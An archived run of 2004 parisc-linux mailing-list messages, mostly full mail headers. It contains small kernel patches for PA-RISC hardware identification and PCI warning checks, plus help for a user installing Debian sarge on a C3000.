Original-Received: from mrq-2.tiscalinet.it (unknown [213.205.37.215])
	by free.linux.hp.com (Postfix) with ESMTP id 3E9AC3BE4F
	for <parisc-linux@lists.parisc-linux.org>;
	Thu, 18 Nov 2004 06:13:57 -0700 (MST)
Original-Received: from mail-1-bnl.tiscali.it (10.39.115.131) by mrq-2.tiscalinet.it
	(7.0.028)
	id 419A120A00036D0E for parisc-linux@lists.parisc-linux.org;
	Thu, 18 Nov 2004 14:13:56 +0100
Original-Received: from [57.67.177.33] by mail-1-bnl.tiscali.it with HTTP;
	Thu, 18 Nov 2004 14:13:55 +0100
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.4
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:22120

Hello pa*,

Is somebody could ci this small patch for n4k:
--- arch/parisc/kernel/hardware.c.ORIG	2004-06-07 08:18:42.000000000 +020=
0
+++ arch/parisc/kernel/hardware.c	2004-07-23 08:43:59.000000000 +0200
@@ -209,6 +209,7 @@
 	{HPHW_NPROC,0x5D0,0x4,0x81,"Kazoo W+"},
 	{HPHW_NPROC,0x5D1,0x4,0x91,"Forte W+ 2w"},
 	{HPHW_NPROC,0x5D2,0x4,0x91,"Forte W+ 4w"},
+	{HPHW_NPROC,0x5D3,0x0,0x91,"Prelude W+ 540"},
 	{HPHW_NPROC,0x5D3,0x4,0x91,"Prelude W+ 540"},
 	{HPHW_NPROC,0x5D4,0x4,0x91,"Duet W+"},
 	{HPHW_NPROC,0x5D5,0x4,0x91,"Crescendo 550"},
=3D=3D=3D=3D=3D=3D=3D=3D><=3D=3D=3D=3D=3D=3D=3D=3D

that help when 
# cat /proc/cpuinfo 
processor	: 0
cpu family	: PA-RISC 2.0
cpu		: PA8600 (PCX-W+)
cpu MHz		: 550.000000
model		: 9000/800/N4000-55
model name	: Unknown machine
hversion	: 0x00005d30
sversion	: 0x00000491
I-cache		: 512 KB
D-cache		: 1024 KB (WB, 0-way associative)
ITLB entries	: 160
DTLB entries	: 160 - shared with ITLB
bogomips	: 1093.63
software id	: 664309341

displayed "Unknown machine" as model name. will better (imo) display:
# cat /proc/cpuinfo 
processor	: 0
cpu family	: PA-RISC 2.0
cpu		: PA8600 (PCX-W+)
cpu MHz		: 550.000000
model		: 9000/800/N4000-55
model name	: Prelude W+ 540
hversion	: 0x00005d30
sversion	: 0x00000491
I-cache		: 512 KB
D-cache		: 1024 KB (WB, 0-way associative)
ITLB entries	: 160
DTLB entries	: 160 - shared with ITLB
bogomips	: 1093.63
software id	: 664309341

Thanks in advance,
    Joel


-------------------------------------------------------------------------=
--
Tiscali ADSL GO & Light, 2 mois gratuits, profitez-en...
http://reg.tiscali.be/adsl/welcome.asp?lg=3DFR




_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:32:40 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@parisc-linux.org>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Re: 2.6.10-rc1-pa15 boot fine on n4k but still
	annoying bactrace
Date: Thu, 18 Nov 2004 23:09:40 -0700
Lines: 67
Approved: news@gmane.org
Message-ID: <20041119060940.GB2394@colo.lackof.org>
References: <20041117221742.1429C494040@palinux.hppa>
	<418A80030000538E@mail-1-bnl.tiscali.it>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=us-ascii
X-Trace: ger.gmane.org 1416623598 11756 80.91.229.3 (22 Nov 2014 02:33:18 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:33:18 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Joel Soete <soete.joel@tiscali.be>
Original-X-From: - Wed Jul 02 21:27:14 2014
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail 16292 invoked by uid 65534); 19 Nov 2004 06:10:23 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) (192.25.206.17)
  by mx0.gmx.net (mx066) with SMTP; 19 Nov 2004 07:10:23 +0100
Original-Received: from localhost (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP
	id B3ACE3BE59; Thu, 18 Nov 2004 23:10:20 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.external.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 16819-02; Thu, 18 Nov 2004 23:10:20 -0700 (MST)
Original-Received: from free.linux.external.hp.com (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP
	id 6C9353BE5B; Thu, 18 Nov 2004 23:09:48 -0700 (MST)
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id A71B23BE4F
	for <parisc-linux@lists.parisc-linux.org>;
	Thu, 18 Nov 2004 23:09:43 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.external.hp.com [127.0.0.1]) (amavisd-new,
	port 10024)
	with ESMTP id 13374-06 for <parisc-linux@lists.parisc-linux.org>;
	Thu, 18 Nov 2004 23:09:42 -0700 (MST)
Original-Received: from colo.lackof.org (colo.lackof.org [198.49.126.79])
	by free.linux.hp.com (Postfix) with ESMTP id 1FAA53BE33
	for <parisc-linux@lists.parisc-linux.org>;
	Thu, 18 Nov 2004 23:09:42 -0700 (MST)
Original-Received: from localhost (localhost [127.0.0.1])
	by colo.lackof.org (Postfix) with ESMTP
	id 363A229803F; Thu, 18 Nov 2004 23:09:41 -0700 (MST)
Original-Received: from colo.lackof.org ([127.0.0.1])
	by localhost (colo.lackof.org [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 02373-10; Thu, 18 Nov 2004 23:09:40 -0700 (MST)
Original-Received: by colo.lackof.org (Postfix, from userid 27253)
	id 0D737298028; Thu, 18 Nov 2004 23:09:40 -0700 (MST)
Content-Disposition: inline
In-Reply-To: <418A80030000538E@mail-1-bnl.tiscali.it>
User-Agent: Mutt/1.3.28i
X-Home-Page: http://www.parisc-linux.org/
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at lackof.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.4
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:22121

On Thu, Nov 18, 2004 at 01:54:28PM +0100, Joel Soete wrote:
> Nice now the N4k boot well (in the previous attempt it was panic) :)

cool - thanks for testing.

> But there are still many (a beat annoying) backtrace msg:
> Releasing cpu 1 now, hpa=fffffffffed2d000
> FP[1] enabled: Rev 1 Model 16
> CPU(s): 2 x PA8600 (PCX-W+) at 550.000000 MHz
> Setting cache flush threshold to 231280 (2 CPUs online)
> SBA found Ike rev 2 at 0xfffffffffed00000
> Badness in lba_set_iregs at drivers/parisc/lba_pci.c:1659
> Backtrace:
>  [<0000000010196bac>] __alloc_pages+0x124/0x460
>  [<0000000010119fd0>] dump_stack+0x20/0x38
>  [<00000000102cf75c>] lba_set_iregs+0x84/0x180
>  [<00000000102cb254>] setup_ibase_imask+0x9c/0xa8
>  [<000000001010d18c>] __udivdi3+0x1c/0x30
>  [<00000000102cbc44>] sba_ioc_init+0x38c/0x578

Yeah, I think this is just a brainfart in the conversion to "WARN_ON".
Can you test the following patch?

And for grins, add a printk so we can see what ibase/imask
values are getting written.

But in review the code, I'm leary that bit 0 isn't getting set.
bit 0 is the "Range Enable" that enables decoding of upstream
PCI bus addresses. I suspect it works now only becuase we either
never try peer-peer (but we do with sym2 driver IIRC) or the resulting
addresses that are forwarded upstream never get responses.

You have time for one more experiment for me?
Please add  "| 1" to the ibase value passed in
before writing the register. e.g.:
	WRITE_REG32( ibase | 1, base_addr + LBA_IBASE);

If not I'll try this later...

thanks
grant

Index: drivers/parisc/lba_pci.c
===================================================================
RCS file: /var/cvs/linux-2.6/drivers/parisc/lba_pci.c,v
retrieving revision 1.19
diff -u -p -r1.19 lba_pci.c
--- drivers/parisc/lba_pci.c	17 Nov 2004 22:17:42 -0000	1.19
+++ drivers/parisc/lba_pci.c	19 Nov 2004 05:55:35 -0000
@@ -1656,8 +1656,9 @@ lba_set_iregs(struct parisc_device *lba,
 
 	imask <<= 2;	/* adjust for hints - 2 more bits */
 
-	WARN_ON((ibase & 0x003fffff) == 0);
-	WARN_ON((imask & 0x003fffff) == 0);
+	/* Make sure we aren't trying to set bits that aren't writeable. */
+	WARN_ON((ibase & 0x001fffff) != 0);
+	WARN_ON((imask & 0x001fffff) != 0);
 	
 	DBG("%s() ibase 0x%x imask 0x%x\n", __FUNCTION__, ibase, imask);
 	WRITE_REG32( imask, base_addr + LBA_IMASK);
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:32:40 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@parisc-linux.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] installing sarge
Date: Thu, 18 Nov 2004 23:22:39 -0700
Lines: 79
Approved: news@gmane.org
Message-ID: <20041119062239.GA3120@colo.lackof.org>
References: <20041117182100.GB800@colo.lackof.org>
	<NEBBKICDMOFAPLINPKAIOEBGDIAA.bnet@tampabay.rr.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=us-ascii
X-Trace: ger.gmane.org 1416623598 11762 80.91.229.3 (22 Nov 2014 02:33:18 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:33:18 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: fly <bnet@tampabay.rr.com>
Original-X-From: - Wed Jul 02 21:27:14 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail 13896 invoked by uid 65534); 19 Nov 2004 06:23:09 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) (192.25.206.17)
  by mx0.gmx.net (mx059) with SMTP; 19 Nov 2004 07:23:09 +0100
Original-Received: from localhost (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP
	id C4D9F3BE5B; Thu, 18 Nov 2004 23:23:06 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.external.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 16975-02; Thu, 18 Nov 2004 23:23:06 -0700 (MST)
Original-Received: from free.linux.external.hp.com (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP
	id A130E3BE63; Thu, 18 Nov 2004 23:22:46 -0700 (MST)
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 1D89B3BE59
	for <parisc-linux@lists.parisc-linux.org>;
	Thu, 18 Nov 2004 23:22:43 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.external.hp.com [127.0.0.1]) (amavisd-new,
	port 10024)
	with ESMTP id 13374-08 for <parisc-linux@lists.parisc-linux.org>;
	Thu, 18 Nov 2004 23:22:42 -0700 (MST)
Original-Received: from colo.lackof.org (colo.lackof.org [198.49.126.79])
	by free.linux.hp.com (Postfix) with ESMTP id 994B53BE4F
	for <parisc-linux@lists.parisc-linux.org>;
	Thu, 18 Nov 2004 23:22:41 -0700 (MST)
Original-Received: from localhost (localhost [127.0.0.1])
	by colo.lackof.org (Postfix) with ESMTP
	id DD26A29803F; Thu, 18 Nov 2004 23:22:40 -0700 (MST)
Original-Received: from colo.lackof.org ([127.0.0.1])
	by localhost (colo.lackof.org [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 02938-02; Thu, 18 Nov 2004 23:22:39 -0700 (MST)
Original-Received: by colo.lackof.org (Postfix, from userid 27253)
	id 94040298028; Thu, 18 Nov 2004 23:22:39 -0700 (MST)
Content-Disposition: inline
In-Reply-To: <NEBBKICDMOFAPLINPKAIOEBGDIAA.bnet@tampabay.rr.com>
User-Agent: Mutt/1.3.28i
X-Home-Page: http://www.parisc-linux.org/
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at lackof.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.4
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:22122

On Wed, Nov 17, 2004 at 05:35:21PM -0500, fly wrote:
> Grant

Brian,
Please keep the parisc-linux mailing list included in this conversation.
Other people besides me are capable of answering your questions.
And the resolution gets archived. Archives are Good Things(tm).
You might even hunt about a bit in ours (http://lists.parisc-linux.org/).

> Well I'm in installation but it doesn't sense dhcp (I have a linksys router
> to cable).I set a static ip for it but evertime I finish entering the
> numbers (IP,default gateway,subnet mask) it gives me a red screen and says
> I've got incorrect numbers when I go back sure enough it has changed the
> numbers on me-adding or subtracting numbers from what I put in. I'm on the
> fifth try and now its' putting a number in front that I can't even delete or
> backspace over such as 0 in front of where I need to put the 192 of the
> router argh! So close...sound familiar

Yes...like the terminal emulation is broken. Using a vt100 or compatible
terminal emulation program?

>  or did I get the wrong iso here's the
> name I downloaded netinst CD image with debian base, sarge-hppa-netinst.iso,
> address http://www.debian.org/devel/debian-installer/ that is the correct
> one?

Looks like it. Though some folks have pointed out there are still
issues with the debian installer.

>   Sorry for the bother. Is there something I can do more to my network?
> Install something? I would think dhcp broadcasts on a net are pretty obvious
> inside the router. I tried pinging it but nothing. I have the mac address
> but the linksys software doesn't allow, that I see, mac addressing inside
> the router only wan side-pretty stupid really.Any thoughts.

Sorry - no idea.

>  Thanks again,
> Brian
> 
> -----Original Message-----
> From: Grant Grundler [mailto:grundler@parisc-linux.org]
> Sent: Wednesday, November 17, 2004 1:21 PM
> To: fly
> Subject: Re: [parisc-linux] RE: [parisc-linux-cvs] linux-2.6 bame
> 
> 
> On Wed, Nov 17, 2004 at 08:41:36AM -0500, fly wrote:
> > But my point was help no usb, oddly I would hardly think of my C3000 as
> new
> 
> It is compared to the A180/B180/A500 machines that Debian Woody
> was targeted for. A500 is the same vintage but doesn't have graphics,
> IDE, USB, or audio built-in.  C3000 needed more work.
> 
> >  but I suppose compared to
> > a 68000 it would be. I had been to the site (sarge) but the size of the
> > iso's and the name threw me I was looking for woody iso's and they were
> the
> > right size. The hardware list also included the b,c3000
> 
> Once the kernel is upgraded, woody can work.
> But sarge works substantially better.
> A C3600 is my desktop at work for the past two years.
> (But TBH, I'm switching to a Zx2000/IA64 machine soon).
> 
> > Is there a users digest or list.
> 
> Yes. parisc-linux list is for parisc kernel discussion mostly.
> debian-hppa mailing list is good for user space issues:
> 	http://www.debian.org/ports/hppa/
> 
> grant
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:32:40 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@parisc-linux.org>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] mini ISO works :^)
Date: Thu, 18 Nov 2004 23:24:16 -0700
Lines: 66
Approved: news@gmane.org
Message-ID: <20041119062416.GB3120@colo.lackof.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=us-ascii
X-Trace: ger.gmane.org 1416623599 11763 80.91.229.3 (22 Nov 2014 02:33:19 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:33:19 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: - Wed Jul 02 21:27:14 2014
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail 20639 invoked by uid 65534); 19 Nov 2004 06:24:48 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) (192.25.206.17)
  by mx0.gmx.net (mx027) with SMTP; 19 Nov 2004 07:24:48 +0100
Original-Received: from localhost (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP
	id 49C023BE6B; Thu, 18 Nov 2004 23:24:36 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.external.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 17048-04; Thu, 18 Nov 2004 23:24:36 -0700 (MST)
Original-Received: from free.linux.external.hp.com (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP
	id E0CB13BE6C; Thu, 18 Nov 2004 23:24:24 -0700 (MST)
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 563CE3BE68
	for <parisc-linux@lists.parisc-linux.org>;
	Thu, 18 Nov 2004 23:24:20 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.external.hp.com [127.0.0.1]) (amavisd-new,
	port 10024)
	with ESMTP id 16975-08 for <parisc-linux@lists.parisc-linux.org>;
	Thu, 18 Nov 2004 23:24:19 -0700 (MST)
Original-Received: from colo.lackof.org (colo.lackof.org [198.49.126.79])
	by free.linux.hp.com (Postfix) with ESMTP id DD8363BE59
	for <parisc-linux@lists.parisc-linux.org>;
	Thu, 18 Nov 2004 23:24:18 -0700 (MST)
Original-Received: from localhost (localhost [127.0.0.1])
	by colo.lackof.org (Postfix) with ESMTP id 1761429803F
	for <parisc-linux@lists.parisc-linux.org>;
	Thu, 18 Nov 2004 23:24:18 -0700 (MST)
Original-Received: from colo.lackof.org ([127.0.0.1])
	by localhost (colo.lackof.org [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 02732-08 for <parisc-linux@lists.parisc-linux.org>;
	Thu, 18 Nov 2004 23:24:17 -0700 (MST)
Original-Received: by colo.lackof.org (Postfix, from userid 27253)
	id E6BEE298028; Thu, 18 Nov 2004 23:24:16 -0700 (MST)
Content-Disposition: inline
User-Agent: Mutt/1.3.28i
X-Home-Page: http://www.parisc-linux.org/
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at lackof.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.4
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:22123

FYI - somebody else can step forward and accept the kudos :^)

----- Forwarded message from fly <bnet@tampabay.rr.com> -----

X-Original-To: grundler@localhost.lackof.org
From: "fly" <bnet@tampabay.rr.com>
To: "Grant Grundler" <grundler@parisc-linux.org>
Subject: RE: [parisc-linux] RE: [parisc-linux-cvs] linux-2.6 bame
Importance: Normal
X-Virus-Scanned: Symantec AntiVirus Scan Engine
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at lackof.org
X-Spam-Checker-Version: SpamAssassin 2.64 (2004-01-11) on colo.lackof.org
X-Spam-Status: No, hits=-4.9 required=5.0 tests=BAYES_00 autolearn=ham 
	version=2.64
X-Spam-Level: 

Grant
The netinst didn't work but after the second try mini iso did. Mini iso died
the first time pulling down apt from the site butI backed up a step and it
went all the way. Whoever does those scripts is a genius. I've done some
complicated device drivers and programming but whoa...that was amazing. Tell
whomever they impressed me. I wasn't sure so I put the 2.4.27-32 smp kernal
on- I guess that's good. Anywho I'll be playing and leave you alone...for a
while....Thanks Brian.

-----Original Message-----
From: Grant Grundler [mailto:grundler@parisc-linux.org]
Sent: Wednesday, November 17, 2004 1:21 PM
To: fly
Subject: Re: [parisc-linux] RE: [parisc-linux-cvs] linux-2.6 bame


On Wed, Nov 17, 2004 at 08:41:36AM -0500, fly wrote:
> But my point was help no usb, oddly I would hardly think of my C3000 as
new

It is compared to the A180/B180/A500 machines that Debian Woody
was targeted for. A500 is the same vintage but doesn't have graphics,
IDE, USB, or audio built-in.  C3000 needed more work.

>  but I suppose compared to
> a 68000 it would be. I had been to the site (sarge) but the size of the
> iso's and the name threw me I was looking for woody iso's and they were
the
> right size. The hardware list also included the b,c3000

Once the kernel is upgraded, woody can work.
But sarge works substantially better.
A C3600 is my desktop at work for the past two years.
(But TBH, I'm switching to a Zx2000/IA64 machine soon).

> Is there a users digest or list.

Yes. parisc-linux list is for parisc kernel discussion mostly.
debian-hppa mailing list is good for user space issues:
	http://www.debian.org/ports/hppa/

grant

----- End forwarded message -----
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:32:40 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@parisc-linux.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: 2.6.10-rc1-pa16 still panic on c110 [WAS: [parisc-linux] c110
	panic when try to boot 2.6.10-rc1-pa11?]
Date: Sat, 20 Nov 2004 16:18:37 -0700
Lines: 46
Approved: news@gmane.org
Message-ID: <20041120231836.GC11503@colo.lackof.org>
References: <41966398.4070303@tiscali.be> <419FAAF4.4030608@tiscali.be>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=us-ascii
X-Trace: ger.gmane.org 1416623599 11766 80.91.229.3 (22 Nov 2014 02:33:19 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:33:19 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Joel Soete <soete.joel@tiscali.be>
Original-X-From: - Wed Jul 02 21:27:14 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail 29165 invoked by uid 65534); 20 Nov 2004 23:19:25 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) (192.25.206.17)
  by mx0.gmx.net (mx064) with SMTP; 21 Nov 2004 00:19:25 +0100
Original-Received: from localhost (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP
	id 00D743BE62; Sat, 20 Nov 2004 16:18:56 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.external.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 07718-02; Sat, 20 Nov 2004 16:18:56 -0700 (MST)
Original-Received: from free.linux.external.hp.com (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP
	id 873043BE70; Sat, 20 Nov 2004 16:18:45 -0700 (MST)
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 14DB23BE4C
	for <parisc-linux@lists.parisc-linux.org>;
	Sat, 20 Nov 2004 16:18:40 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.external.hp.com [127.0.0.1]) (amavisd-new,
	port 10024)
	with ESMTP id 07437-05 for <parisc-linux@lists.parisc-linux.org>;
	Sat, 20 Nov 2004 16:18:39 -0700 (MST)
Original-Received: from colo.lackof.org (colo.lackof.org [198.49.126.79])
	by free.linux.hp.com (Postfix) with ESMTP id 90A793BE45
	for <parisc-linux@lists.parisc-linux.org>;
	Sat, 20 Nov 2004 16:18:38 -0700 (MST)
Original-Received: from localhost (localhost [127.0.0.1])
	by colo.lackof.org (Postfix) with ESMTP
	id F3618298058; Sat, 20 Nov 2004 16:18:37 -0700 (MST)
Original-Received: from colo.lackof.org ([127.0.0.1])
	by localhost (colo.lackof.org [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 12027-06; Sat, 20 Nov 2004 16:18:37 -0700 (MST)
Original-Received: by colo.lackof.org (Postfix, from userid 27253)
	id 2F48B298052; Sat, 20 Nov 2004 16:18:37 -0700 (MST)
Content-Disposition: inline
In-Reply-To: <419FAAF4.4030608@tiscali.be>
User-Agent: Mutt/1.3.28i
X-Home-Page: http://www.parisc-linux.org/
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at lackof.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.4
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
